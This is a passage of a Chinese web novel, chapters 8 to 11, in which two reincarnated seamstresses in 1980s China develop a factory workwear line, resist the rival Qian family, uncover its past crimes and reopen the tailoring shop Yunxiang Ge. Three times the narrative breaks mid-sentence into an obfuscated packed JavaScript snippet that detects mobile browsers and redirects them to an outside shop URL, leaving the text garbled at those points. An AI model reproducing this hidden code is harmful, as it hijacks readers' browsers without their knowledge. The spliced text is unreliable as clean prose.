第三天一早，门卫张叔拦下了林知许，递给了她一封来自苏州的信。 “小林同志，有你的信，是苏州寄过来的。” “谢谢张叔。”她接过信，走在一旁查看。 【家母尚有林兰芷遗物，还望速速来取。 沈清岚之女】 第四天，林知许和苏念初请了一天的假，登上了去往苏州的列车。 按照信里的地址，找到了溪水巷17号，老太太坐在门口恭候多时。 她手上捧着一个木匣子，见两人来，卖力起身走向二人。 老太太缓缓开口:“听母亲说过，这里面装的是林姨的制衣笔记和一些针法样式，还有一封书信。” “现在交由你们，望好好保存。”她双手将这个木匣子奉上，林知许双手接过。 老太太起身去往房里，拿了一件月白旗袍。 交代着:“这是林姨生前最喜欢的，也是最为满意的作品，现在也一并交由你们。” 这件衣服保留的很好，一看就是悉心熨烫过，小心存放的，没有灰尘，还是那样的光彩熠熠。 这一刻，是传承的开始。 当晚回城，两人又是一夜难眠。 刚回到家，便打开看了里面的那封信。 【倘若有一天，吾遭不测，这里的记载的技艺，希望沈妹好好保管，切勿落入钱姓人的手里。 此技艺可传，当传于重视技艺之人。身体可灭，技艺当永存不朽。】 林知许指尖摩挲着泛黄的书信，珍重的说道:“看来我们的目标又明确了几分。” 苏念初接下话茬，认真肯定:“没错，重启云想，势在必行。” 那份技艺的厚重，渗透二人的真心。 前世未完的梦，今生当续写。 未解的谜团还在，而且一直困扰着林知许，信里所提的钱家人，究竟指的何人。 那位出言毫不客气的中年男人，究竟是意外还是冥冥之中的老熟人。 一切是前世的因，今生又当是何种果。 8. 第 8 章 试产的工作，第四天才正式提上日程。 工作间安排在仓库隔壁，原来是堆放废料和不达标的，简单清理出来倒还不错。 王主任批准了新的缝纫机，厂子里又是一阵议论风。 “凭啥子她们可以用新的” “就是，不过刚满二十的女娃娃，神气的嘞……” 这些话说的多了，难免会飘进她们的耳朵。刘师傅上前制止了发言，从前她是最不愿多言的。 “手艺人就是凭手艺吃饭的，你们就光长年纪不长手艺，看到后辈比自己强不多努力，光用来嘴上说了。” 刘师傅还上前安慰了几句，一反常态。 林知许笑着回应:“质疑声越多，证明我正做的事情确实有必要，我肯定是会努力坚持下去，走好每一步的。” 试产进行的并不算顺畅，样衣制作两人精工细作还尚可。 当作量产，就必然要考虑到位置的对齐度这很难把控。那暗扣，就是一大难题。 林知许适时虚心请教:“刘师傅，你老人家见多识广，还请问有没有什么解决的法子。” 刘师傅想了想:“现在市面上有一种磁吸扣子，你们可以试试。” 林知许默默记下了，但磁吸扣子不可直接采用，还得改良。 林知许和苏念初两人熬了几个大夜，测试几十种方式。 最终确定采用内嵌式磁片，外面包布，缝死在袖口和袖套上。虽多增加了工序，但成效不错。 关关难过关关过，一道道难题一遍遍尝试解题。 半月，第一套量产样衣完成。 几个帮忙的女工，作为模特在厂里展示。 一些人看到，停步问道。 “你这衣服当真不错啊” “这还有收腰，感觉修身了不少……” “当初是我多言了，小姑娘确实有几把刷子……” 围观的人多了起来，林知许借此展示了这套衣服的转换功能。 看到女工装转换成得体的外出装，众人一副惊讶的模样。 “这衣服可在工厂里穿又可以出去穿，不得好多钱蛮……” “要是厂里把这个当工装，我肯定乐意穿……” 厂里的女工反响不错，下午王主任就过来了还带来了工会的人。 那人大家称呼为李姐，五十多岁，爽朗大方：“上午就听说女工们很是满意你们的新设计，什么‘向阳系列’，名字也敞亮，等不及要瞧见了，所以诸位莫怪我不请自来了。” 她仔细看了样衣，试穿上了，“这衣服穿着确实舒服啊，不错不错。” 她扭头和王主任说道:“老王，厂里的女工装该换了，换成这个我双手双脚赞成。” 王主任没有当即表态，让女工们挨个试试，征求大家的意见。 “这袖套不错……” “口袋要是多一点大一点就好了，方便装东西…… “这颜色灰沉沉的，要是能换个就好了……” 林知许和苏念初快速拿笔记下了一条条反馈。王主任最后发言：“试产效果不错，下周开专门的研讨会，商量下一步。” 苏念初抓着林知许的手，激动的半天才蹦出几个字:“这是……成了!” 林知许冷静的很，淡淡回复了一句:“路还长着呢。” 她看向窗外，看到了一个熟悉的身影，那人不就是展会上见到的。 他是别个服装厂的，按道理来说不该出现在这。 —— 苏念初和林知许趁热打铁，把大家的意见都精炼了一下，又重新改良了样衣，一直到晚上十点。 她们刚走出车间，看到那中年男人站在路灯底下，像是在等人。 这人不长记性，上回刚吃了鳖，如今还能笑脸相迎。 “林同志，苏同志，方便借一步说话吗？” 他这副恭敬的样，真是让人匪夷所思。 “你们好，我是钱勇庆，之前听我哥说起过你们。” “你哥是？” “展会上，你们打过交道的，我哥这人说话可能不太中听，要是得罪了二位，你们别太在意。” 仔细看他，确实和他哥一个模子里刻出来的，但又有所不同。 这是双胞胎，一模一样的长相，两模两样的做派。 林知许保持基本的客气:“你好，请问你有什么事情？” “我也不多跟你们绕弯子了，听说你们一套‘向阳系列’的样衣，很是不错。” 林知许问道:“所以？” “我们厂子想开发一下新的市场，比如你这个女工装就不错，不知道二位有没有兴趣。” 苏念初最是痛恨撬墙角的，差点一个没收住上手。 林知许把她揽在身后，轻声说道:“我来解决，放心。” 她目光扫视，冷静问道:“你想怎么合作？” “你们把设计交出来，当做是入股了，至于生产和销售都交由我们，最后会给你们设计费用和分红，你意下如何？” “怎么个分法？” “你们四我们六，很有诚意吧。设计只是小头，真正耗费时间的还是生产和销售。” 这话说出来，也就他自己信，一副资本家的做派，还觉得自己给了好大的福利。 他凑近轻声说:“早就听说你们在外面还单干，开了一个什么‘云想阁’，这个要是捅到上面的去了，你们也不好交代吧。” 这是软的不行，净来些上不了台面的东西。 她正视对方，目光犀利:“恐怕没法如你所愿了，这个样衣厂里说了算，我们可没这么大的权力。至于你说的那云想阁，我们可以歇业再整。” “年轻人，识时务者为俊杰，好好想想，多动脑子，别一天天光研究针法设计，挣不到钱的。” “啊呸——” 苏念初终是忍不住开口。 一把推开钱勇庆，接着拍拍手。 “什么脏东西，真是碍眼，下次再让本小姐见到你，就不是用手了。” 钱勇庆，留下一句:“无理的蛮人才用武力，你们给我等着……” 一边说，一边溜之大吉。 见他走远，两人击掌明快。 “果然他不是个好东西，这钱家真是钻到钱眼里去了。” —— 接下来的日子，试产小组全都尽力配合。 第二套、第三套样衣相继完成，通过试验反馈。 林知许把从苏州带回来的云想阁纹样巧妙融入细节，领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908299|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口设计，暗扣上面都有涉及。 刘师傅很关心这的进程，每次来都会看上良久，不做点评，纯是看看。来看过几次，每次都不说话，偶尔上手去感受。 完工的那天，她又来了，指着那个针法问到:“这个‘藏针回锋’，你又是从何而知？” 林知许回应:“家里人传授的笔记记载，我也是试着复刻的。” 刘师傅点点头，说道：“用的不错，以后也要好好用下去。” 这是她难得的夸赞。 周三开研讨会，气氛不错。 试穿的那些女工都很是满意，工会李姐也很支持。 多个科提供数据分析，通过核算得出可行性结论。 郑书记最后拍板叫好:“那就先做个三百套，厂里的人都先试穿几个月，要是反响好，我会上报局里，到时候一步步推广。” 散会后，王主任找上了林知许和苏念初。 三人在办公室里，关上了门。 王主任轻声问道:“听说钱勇庆找了你们两个？” 林知许和苏念初二人点了点头，略显尴尬 “别紧张，如实说就行。” 林知许简单讲述了这件事，无非他想买断“向阳系列”。 王主任喝了口茶，轻笑言:“这小子，挖人挖到我这里来了。” 苏念初找准机会就顺杆爬，一心只想多赚钱:“就是，也不想想我们王主任是多厚道一人，我们怎么可能背叛组织啊。而且王主任肯定，会给我们发奖金的，对吧。” “奖金会有的，还有那个钱勇庆你们别再接触了，他这人不择手段，不地道。” “我还有一事想说，听说国家开放政策，容许办个体工商户了。我们想着这个‘向阳系列’收尾后，干点我们自己想干的。” 王主任真是变了，识大体的让人欢喜。 “你们真想单干，我也留不住你们。不过啊，你们要是有什么好的设计可要优先考虑我们厂里。” —— 周五下班前，林知许收到一封信。不是邮寄过来的，上面没有地址，是通过门缝塞进来的。 牛皮纸信封，里面包有一张便条，字迹潦草： 【明日下午两点，城南老茶馆见。涉及钱家旧事，如果感兴趣还请独自来。】 上面没有落款人，林知许有些疑惑。 苏念初凑过来看:“不会是有人恶作剧吧，怎么这么巧，我们刚还对钱家有兴趣就有人找门来。” “如果真是你说的那样，那就更应该去一探究竟了。” 那字迹潦草，但又感觉熟悉。 刘师傅最近很是反常，莫非是她？ 不对，刘师傅的字更工整，但确实没办法对上。 她想起老太太给她的那封信，林兰芷的书信里，其中几个字的写法，和这纸条有相似之处。 莫非那人是故人。 “如果你非要去的话，得带上我。”苏念初看她实在想去，就松口答应。 “那人说了，独自去。” “我去不远处等，有什么突发情况，你就打暗号。” 两人对视，达成默契。 那些潜藏的秘密，又当如何显现。 对方是敌是友，不得而知。 9. 第 9 章 茶馆在城南的老街，此处僻静。木构的两层小楼，招牌上挂着“素清茶馆”。 周六下午，里面人不多，柜台上摆放着老式钟摆，有规律的来回摆动。 林知许推门进去，看到一个穿着灰色中山装，七十左右的男人，面容清瘦。 他带着江南口音，轻声喊道:“林同志。” “您好，请问是您找我吗？” 男人点点头，引到她到一处更为隐蔽的包间就坐。 他倒了杯龙井茶，寒暄道:“一路上可受劳累？” “还好还好，多谢老先生关心。” 他看着她的面容，出了神，感叹道:“你们可真是像。” “不知您说的像是指？” “忘了跟你介绍了，我叫周文斌。我是林兰芷的学徒，你和我师傅长得实在是像，我都有些恍惚了。” 他从怀里拿出一张照片，推到林知许面前。 那照片是黑白的，上面有很多人。几人站在“云想阁”门楣上，那两个女子她认得，一个是她另一个是苏念初，准确而言是前世的她们。 他指着后排一个瘦高的年轻人，十六七岁模样，穿着不合身的旧长衫，但站得笔直。 “这是我，民国三十一年拍的。” 他提起过往，滔滔不绝。 “那时候，我刚来上海，人生地不熟的，干活被人骗了，没结工钱，在云想阁店门口饿昏了，林师傅收留了我。她嘴上严厉说是不想收留，但还是有空就教我手艺。” 他顿了一下:“还记得师傅说过，手艺人到哪里都活得下去，手艺人会有光明的未来。” 林知许见他感慨往事，也不禁动容。 “听您说起师傅，她真的是个顶好的人。” “是啊，师傅就是心太善了，没狠下心来才……”他说着说着，突然哽咽。 “那是不是和钱家旧事有关？”林知许借机问了一句。 “我其实没待很久，民国二十五年的时候，家中父亲病重，我回了家。临走前，师傅让我把信交给苏州的沈夫人。” “那封信后来……” “我刚到苏州，被一群人围住了，为首的那人我见过，他是要买师傅铺子的人姓钱。” “他把我带到了墙角，一群人从我身上搜走了那封信。” 他闭上眼，继续回想那天的场景。 “他看了信，脸色很差，一直问我信里提到的箱子是什么。他们一直逼问我，不给我饭吃，就给水，半条命吊着。第三天的时候，他看我实在是不知道，就放了我，警告我以后不要再和林师傅来往。” “再后来，不到一年的时间，父亲去世，上海战事越来越紧，我没法去上海。再后来就是听说云想阁失火，师傅……” 茶馆里安静，心却静不下来。 “为何他执意要找到箱子，里面的东西他就这么想要？” “信里提到了林师傅托付的东西，纹样、针法、样衣，那是林师傅和苏师傅的心血。” “钱家人一直想要这些，他们想开一家裁缝铺垄断，但是他们没有自己的技艺。他以为收购不成，至少能拿到这些东西，没想到林师傅宁死不屈。” 林知许想起老太太给她的那个木匣子。那些泛黄的纸页，清晰的纹样，那件月白色的旗袍。 还有林兰芷的那封信里提到的那句:“切勿落入钱姓人的手里”。 “那东西现在在我手里，请您放心。” 周文斌很是欣慰，“那真是太好了。” 这些年，沈清岚一直四处躲藏，为的就是不让云想阁的技艺落入钱姓人的手里。 “不过，我想他应该不会罢休，钱家的后人也还在找。” 周文斌身体前倾，压低声音，“林同志，你知道钱家是怎么发家的吗？” 林知许摇头。 周文斌语气颇有说书人的意味:“二十世纪四十年代，上海滩那些个投机商里，钱家算得上是响当当的大人物。人狠又很会谋财路。” 一九四九年秋，新政府成立不久，正是物资短缺的时候。投机商们觉得这是一个谋财的好机会，开始囤积纱布。那时，纱布还是硬通货。钱家人联合几个大商人，筹集巨额资金，疯狂收购棉纱和布匹。他们租下仓库，堆满货，一直堆积但就是不卖，坐等价格上涨。 那个时候的百乐门，夜夜笙歌。 周文斌曾在里面当过服务生，听人说过:“那些个投机商得意的很，举杯欢庆，觉得只要卖出去就几代不愁钱。” 但他们的阴谋不可能得逞，新政府一定会有所作为。 当时，全国齐心协力调物资到上海，价格稳定下来了。 与此同时，严惩查办投机行为。 一夜之间，他们天就变了。 很多投机商，都倒下了，但钱家人却还在。 周文斌喝了口茶，茶已经凉了：“具体不清楚，估计是有些手段。” 五十年代，钱家转型做实业，开了一家纺织厂，那也是现在的厂子的前身。 他利用早年积累的关系，接国营大厂的边角料订单，生意越做越大。 “到了下一代，工厂转为集体所有制。这个传下来的这个人保守，只是做些本分生意。” 穿到钱家这对双胞胎手里，又变了。 “钱家双胞胎是改革开放后接手的厂子，见过一些世面，心气高。两人见不得自己的父亲如此窝囊不中用，两人想要做大，要开服装厂，要做品牌，要当企业家。” 但心思不正。 “钱家两小子，想效仿他们爷爷的老路。” “他们想要占据你们的成果，就像当年一样。” 周文斌深深看着林知许:“有时候执念很可怕，会伴随一代又一代。” 林知许想起那天那人的模样和说辞，确实令人心生厌恶。 窗外，渐渐暗了下来，日落西山，应是散场的时刻。 “对了，刘师傅是我徒弟，有什么不懂的可以找她。”他交代着。 怪不得，二人的字迹如出一辙。 “周老，您还有其他的话要交代吗？” 周文斌沉默半晌，从随身带的旧公文包里，取出一个用牛皮纸袋包的东西。 他把东西推到林知许面前:“这是师傅当年，偷偷给我的，比那封信给的还要早一些，我这些年一直想着法子保留了下来。她说这个里面很重要，是有关钱家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908300|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 林知许翻开，是竖排的毛笔字，记录着一笔笔账目。 记录持续到民国二十六年秋，每一笔都写得清楚，人物时间地点俱全。 “这是钱家的私账。林师傅帮一位客人缝制衣服的时候发现的，那人正是钱家人的外室。那人偷偷带出来的，想着等那天保命用的。但是她还是不敢留在身边，总感觉夜长梦多就索性给了林师傅。” “钱家人一直在找这个的下落，他们还不知道这个本子在林师傅的手里。” “不过现在您为何拿出来呢？” “我想你就是那个有缘之人，给你是没错了。” “亲眼见到你的那刻，我都震惊了，我想这个世界真的存在轮回。” 她沉默了一阵，开口说道:“或许吧。” “好了，天色不早了，小姑娘该走了。” 周文斌送林知许到门口，最后语重心长的说了一番话。 “守好云想阁的根，未来就交由你了。” “周老，保重。” 周文斌如释重负一般站在门口，望着她走远的身影。 那一别，是永别。 周老不过三日，就匆匆离世。 —— 苏念初在不远处接应林知许，两人很快对上走到了一块。 “你们怎么聊这么久，那人没有为难你吧？” “为难倒是没有，他是我徒弟。” “林师傅还真是，桃李满天下啊。” “过奖过奖……” 回到厂里的家属院后，二人开始重新翻开账目。 两人翻到一夜，笔墨较浅，很是特别的一页： 【民国二十三年冬，与林兰芷谈收购，未能成功。若不可得，那便毁之。】 字迹潦草，深浅不一，落款写着“钱”字。 苏念初问道:“所以钱家就是前世悲剧的真凶？” 林知许点了点头，苏念初突然很是生气:“当初我要打姓钱的，你就不该拦着的。” “法治社会，苏小姐不能赔了夫人又折兵。” “林小姐教训的是，那接下来我们该干些什么？” “我们重开云想阁，设计出他们模仿不来的东西。” “这是个好主意。” —— 那晚，前世的记忆又一次浮现…… “兰芷姐，筠霞姐不好了，那老钱家的人又来了。” 店里的学徒小高姑娘说道。 筠霞抡起扫帚，兰芷拿着针就往店门口走。 “姓钱的，我说过很多次了，我们店不卖。” “有话好商量嘛，这次我不是来买店的，我是想入股你们店。” “我出四成，你们给你们的技艺，我帮你们拓宽销路如何？” 兰芷和筠霞对上了眼，筠霞立马就冲上前，把钱家人扫地出门。 …… —— 当晚，两人就开始筹划着下一步。 她们深知在这个时代，重开一家店铺不容易。 这是一个机遇与风险并存的时代，而她们怀着一颗赤诚之心，踏上一条新征程。 云想阁重开之日，指日可待。 10. 第 10 章 第二天，林知许和苏念初两人就去王主任办公室。 “主任，我们早前说过的，要单干，所以我们两个是来辞职的。” 他顿了一下，喝了口茶，眼神里带着一丝诧异:“这个年代有铁饭碗，可是香饽饽，你们真想好了要出去自己干。” 两人郑重的点头，去意已决。 “既然你们不想留下，我也没办法强留你们，这样你们停薪留职。在外面干不好的话，还有个保障。” 他看着两位年轻的面孔，内心也有几分触动。 “外面现在正是改革的好时候，你们的机会多，同样的经验少，很多困难只能靠自己扛。个体户不容易，你们多想想出路。” “谢谢王主任的提醒，我们既然选了这条路，就会努力走下去。” 林知许眼神坚定，语气平和。 王主任从抽屉里拿出一个牛皮袋，亲手交给了林知许。 “打开看看。” 她听此话，一点点拆开线打开牛皮袋。 里面是三样东西：两张停薪留职的批准函，盖着厂里的公章；一张个体工商户的申请表格，已经填好了基本信息；还有两百块钱。 “这里面怎么还有钱？” “我个人出的，就当是投资你们。干成了，那是最好。干不成，就当是最后一点保障。” 他语气尽量说的随意，尽力让两人觉得没有负担。 天晴云淡，草木满秋堂。 两人走在路上，一切都是新的开始。 苏念初眼神里带有一丝愧疚，嘴里嘟囔着:“早知道不叫他王八羔子了，他人好像还挺好的。” “那我们以后叫他什么？” “叫王子？不太合适，要不叫王子王孙？” “？” “我开玩笑的，叫王主任，我现在觉得他是一个不错的领导。” —— 她们离厂的消息传得飞快，厂里大多数人都知晓了此事。 晚上，厂里的女工下班，路过她们的房间，说是顺便送点心意。 她们懂，那是含蓄。 特意只有说成路过、顺带，才会让人心安理得。 有位和她们两个共同试产的女工——小芳，她急匆匆的跑过来，眼里有些湿润:“你们真的要走吗？” 苏念初手搭在她的肩上，一副无所谓的样子:“哎呀，我们只是出去干活了，以后还会再见的。” 林知许对离开这事只字不提:“小芳，向阳系列的图纸，我留了一份在工作间。” 没过一会，刘师傅也来了。 她手里拎着一个洗旧的帆布包，轻声说道:“林同志，我有东西想交给你。” 林知许双手接过，翻看里面的东西。一把老式的剪刀，一把竹尺，还有几根缝针插在线盒上。 “这是我师傅留下的，他希望把这个传下去。我想来想去，你们是最好的人选。” 林知许和苏念初两人，深深地鞠了一躬。 “谢谢刘师傅。” 李姐，拿着两个饭盒，风风火火的走来。 “冬至要吃饺子，我就在家包了些，多做了些，给你们送来了。” “谢谢”两人接过饭盒，“李姐，你人真好。” —— 两人找房子费了不少的功夫。 八十年代中期，私人租房并不多。她们去了很多地方，都没找到合适的。 直到又一次遇见那天那位热心的早餐店老板，事情有了转机。 她们走了很远的路，那条路熟悉，走着走着走到了老板的店里，她依旧像上次一样热情的招呼两人坐下。 两人走了几个小时，整个人没精打采的。 “你们两个小姑娘，这是发生什么事了吗？” 她拿着两碗面，端到两人面前，“吃了面，就不愁。” “谢谢”两人依旧愁脸状，勉强笑了一下。 苏念初半天不说话，转来转去终于还是憋不住出来吐槽:“这个房子，怎么这么难找啊，我们还能去哪里找啊，好烦啊……” “确实难，下午我们去找人挨家挨户再问问吧。” 这时，老板过来，“你们早说，我这里就有一个房子，不知道你们觉得如何？” 苏念初眼前一亮，顾不上吃，抬头说道:“能不能带我们去看看啊。” 老板跟店里的女工打了声招呼，带着两人去看房。 那屋子，在城西临界，有些偏。 那屋子，是老板她母亲留给她的嫁妆。 屋子有两层，楼下可以当工作室和店面，楼上住人。 老屋自然是有些缺点，木头有些腐朽，窗户也关不严实。 冬天临近，寒风凛凛。 “这屋子，我留着也没用，你们要是觉得成，就每个月看着给点就行。”老板耐心介绍，对于租金也没有要求。 苏念初和林知许对上了眼，“租，老板，我们先交三个月的，按一个月15块成吗？” “成啊，哪个不成。” 两人爽快的交了房租，签合同，拿到钥匙，这一套下来行云流水。 “那你们先看啊，我要回去忙了。” 老板走后，两人在屋里走了一圈。 阳光从临街的窗户照进来，在地上投出斑驳的光影。 “你看二楼这里可以挂几件样衣。” “是啊是啊，我都能想象挂出来的样子，阳光撒在上面肯定很好看。” 地址选好，接下来就是开店的具体事项。 开店设备是首要的，林知许列了清单:两台缝纫机、裁床、熨台、人台…… 苏念初对着清单，根据市价预算成本。 埋头算了很久，全新的成本超过她们的本金，自然是不成的。 林知许从外头带了些水果回来，洗好放在了一个盘里，端到她的旁边。 低头看她认真的样子，轻声说道:“算得如何了？” “怎么算都超预算，我真是一个头两个大。” 林知许塞了一颗葡萄到苏念初的嘴里，把她的账目放在一边。 适才开口:“我出门看到一家旧货市场，要不我们两去淘淘。” 南城的旧货市场在一座庙的后面，她们起了个大早，在晨雾中穿梭到那里。 有一台摊子，摊主是位老奶奶。 她那里有好几台老式的缝纫机。林知许和苏念初挨个试了试，最终看上了一台八成新的，一台六成新的。 苏念初笑脸问道:“奶奶，你这缝纫机怎么卖？” “随缘卖。”老太太抬眼看她，缓缓开口。 苏念初接着问道:“那能卖我们吗？” 老奶奶一脸慈祥的笑:“我看你们是真的内行人，价钱随你们。” 两人按照新的缝纫机价格折价百分之四十，付给了老奶奶。 两人走遍了市场，东拼西凑，基本设备齐了，和预算差不多。 做衣服，没有布料哪行得通。两人找上了前领导王主任，用成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908301|192414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本价买了一些布料。 几天下来，开店的设备一应俱全。 正式开业前的夜晚，二人聊起了天。 两人聊起了过往，当时刚工作不到三年的二人，辞职开了一家工作室，两人从零开始。 两人为了省钱，住在十平米的出租房里，整日吃挂面。 那时，苏念初一整天都在跑单子，林知许按照客户的要求从第三十版又改回了原版。 三年后，两人才勉强熬出了头，工作室有一些老熟客和源源不断的新顾客。 “你说，要是我们干不成，以后干嘛？” 林知许笑着说:“还能干嘛，从头再来呗。” “林大小姐，哪有你说的那么容易。” “又什么第一次了，苏小姐这是不相信自己还是不信我？” “信你信你，全世界最相信你啦~” “边去……” 林知许的脑海里闪过，前世的记忆。 —— 开云想阁前，林兰芷和苏筠霞师出同门，也就是林兰芷的母亲。 林母走后，苏筠霞回了家被迫嫁人。 林兰芷在她嫁人前夜，带着苏筠霞连夜逃往了上海。 带着母亲留着的那点家当，盘下了铺子，开了云想阁。 两人一开始也有不少的困难，也是慢慢的开起来的。 —— 林兰芷和苏念初布置本着能省则省的原则，装修简单实用，墙面刷白，补了地板的漏洞，将窗户换成了玻璃窗。 林知许将设计的纹样，都绣在了窗帘上。用的布料虽普通，但通过不同的缝制，又是别样的风采。 林知许找了城里的老师傅，复刻了当年云想阁的招牌样式。 这是传承，也是新生。 两人亲手挂上招牌。 招牌挂上的那天，是个晴天，是个好日子。 做生意讲究的就是一个天时地利人和。 门外挂着黑板:新店开业，价格可议。 苏念初早就找好了照相师傅，两人齐声喊道:“一、二、三——” 咔嚓。 定格当下，两位年轻女子站在招牌下预示着一件事。 云想阁，开业了。 —— 两小时前 林知许迷迷糊糊的醒来，楼下传来苏念初的声音：“林大小姐，下来吃饭——” 苏念初买了油条和鸡蛋，开业第一天讨个好彩头。 —— 照片拍好后，两人又投入了工作之中。 两人站在门口，拿着手工制作的宣传单，发给路人。 路过的人看着招牌，看着两人。 间或传来几句交谈声。 “云想阁这名字不错……” “这是新开的，以前没听说过……” “新店，靠谱吗？” “看着不错，不会很贵吧……” 偶尔有人停下，询问情况。 “你们这个店是干嘛的？” …… 两人面对各种声音，都是耐心的解答。 忙活了一上午，大家对这个新店好奇是好奇，但都止于此。 —— 前世的云想阁，开业当天，两个一腔热血的年轻人，也是如此。 一次次的向大家展示自己的作品，做自己的事，走自己的路。 手艺人的路还长，真正有了手艺不怕没有未来。 云想阁，这盏灯又一次点亮。 11. 第 11 章 时光跳转到三天前，两人的准备工作历历在目。 开业前三天，她们开始准备第一批样衣。 林知许设计了三件样衣，各有特色。 第一个是“日常云集”，一些日常的穿着通过改良，显出自己独特的风采 第二个是“职业工坊”，设计的初衷面向的是职业女性需求。 第三个是“典雅传承”，沿用云想阁的纹样，传统与新工艺相结合的旗袍。 那件传下来的月白旗袍，重新配色，改用墨绿配色，更具典雅。 一针一线，尽显独门技艺。 苏念初负责一点一点的继续改良店内的环境，种盆栽，重新设计布置。 这不仅仅是店，也是她们的新家。 累了几天，可算是大功告成。 两人在开业前夕，坐在楼梯上。 林知许忽然问道:“你说，我们真的可以重开起来吗？” “sure” 往常都是林知许淡定，苏念初火急火燎的。 前世传承的重量落在了她的肩上，那晚，她有些不安。 而苏念初扮演上了一个知心姐姐，陪她畅聊到了深夜。 开业第一天晚，林知许又梦到前世的云想阁。 —— 一个阳光明媚的午后，林兰芷和苏筠霞两人在工作室里探讨新品的研发。 两人说着笑着，眼里有光…… —— 第二天清晨，两人给对方打气，又开始新一天的工作。 街上有人自动，大多步履匆匆。 偶有人停下脚步，张望店铺。 两人一人在店门口宣传一人去人流更大的地方宣传。 林知许留在店里，苏念初去了热闹的街角。 临近中午的时候，店里来了位客人。 那是一位中年妇女，穿着不合身的男装。她拎着菜篮子，在店门口徘徊。 林知许走上前，微笑，温柔的询问道:“您是想做衣服吗？” “不是，我想改件旧衣服。”她从菜篮子里拿出那件衣服，“这是我结婚的时候穿的，平时没咋穿，不小心扯坏了袖子。” 林知许接过衣服，仔细看了看。 “我可以给你做一个特别的设计，重新配色和设计版型，您看如何？” 林知许见她犹豫，又添上了一句:“我们新店开业，还可以给您免费做一件新的里衣搭配外套。” 她面容窘迫，小心翼翼的问道:“贵吗？” “你是店里的第一位客人，我就收个手工费，您能接受什么样的价位？” “几块钱？” “六块成吗？讨个吉利，我不多收。” “我暂时拿不出来这么多，要不下次吧。” 她撺着手，一副捉襟见肘的模样。 “你可以先交定金，等做好了付尾款就好。” “定金多少钱？” “定金一块” “那……我做。” 林知许开了票据，约定好三天后取。 云想阁，又一个新的起点。 中午，苏念初带着两盒饭回来。 “辛苦了，我的苏小姐。” “哪里的话，店里有客人没？” “有一个，不过她看样子拿不出钱，我就收了个手工费。” “能开张就行，是个好开始，比昨天好。” 下午的时候，店里的生意好了一些。 有几位是来定做衣服，几位来改衣服。 有一位老奶奶，她们曾见过，在城南的旧货市场。 老奶奶开口:“之前我见你们的时候，就猜到你们是做衣裳的，我现在老了，实在是做不了这针线活。” 她不紧不慢的从口袋里掏出一张旧照片，她指着照片:“这是我年轻时候最喜欢的衣裳，想着再做一件，留个念想。” 泛黄的照片，依稀能看出那衣裳的样式。 林知许仔细看了那张照片，肯定的说道:“能做，不一定和你做的一模一样的，但那些技法我一定尽力还原。” 老奶奶眼眶湿润，拉着她的手:“我找了好几家铺子，都说不会。你要是会，那可太好了” “我家传过这种手艺，我们也希望您能够重新穿上好看的衣裳。” 苏念初也添着说了些暖言:“是啊是啊，能让您穿上好看的衣裳是我们的荣幸。做衣裳的，就是希望顾客能满意嘛。” “好——”她握着林知许的手。 量完尺寸，送走老奶奶，两人继续用心宣传着店铺。 临近傍晚，两人回到屋里，在里面讨论着设计画稿。 这时，来了位不速之客。 他是钱家人，他叫钱勇庆。他那天，说的那番话，实在令人难忘。 他一个人，穿着灰色外套，整个人低调些许。 见他来，苏念初起身准备拿扫帚，被林知许拦住了。 林知许淡淡的说了一句:“你来有什么事吗？” 钱勇庆环顾四周，慢吞吞的走进来。 “你们这，还挺像样的。” 苏念初带着刺，“哟，哪里，哪比得上你们那个大厂子啊。” 钱勇庆客气道：“两位同志，上次是我考虑不周，今天我来是为了别的事。” “我看你是黄鼠狼给鸡拜年不安好心，你能有什么事。” 他低声回复:“我就是想做件衣裳。” 两人楞在原地，对视上了。 【林知许OS:不是吧，他来真的】 【苏念初OS:赚钱的事，不赚白不赚。】 “你要做什么衣服？” 钱勇庆从包里拿出一张照片，照片那人是他父亲钱继业，穿着老式中山装，“我爸下个月七十大寿。我想给他送件衣服，这种款式的衣服再加点独特设计就更好了。” 照片上的老人，面容慈祥，眼神温和，应该就是他们所说的那个，安分的那一代继承人。 “可以是可以，就是你父亲喜欢什么样式？” 钱勇庆语气平和:“我父亲这人念旧，喜欢老样式。你们可以在领口处，绣一些别的东西吗？” “绣什么？” 林知许和苏念初异口同声道。 钱勇庆不紧不慢的回应着:“我父亲有个小名叫安安，平安的安，是奶奶取的。你们绣个‘安’字就行。” “可以。”她说，“绣在领口内侧，只有穿衣的人知道。” 钱勇庆松了口气，“你看需要多少钱？” “我们是本分做生意的，不多收，你这是定制的，三十就行。” “行。”他毫无犹豫的从包里掏出三十块钱，摊放在桌子上。 “你数数。”< 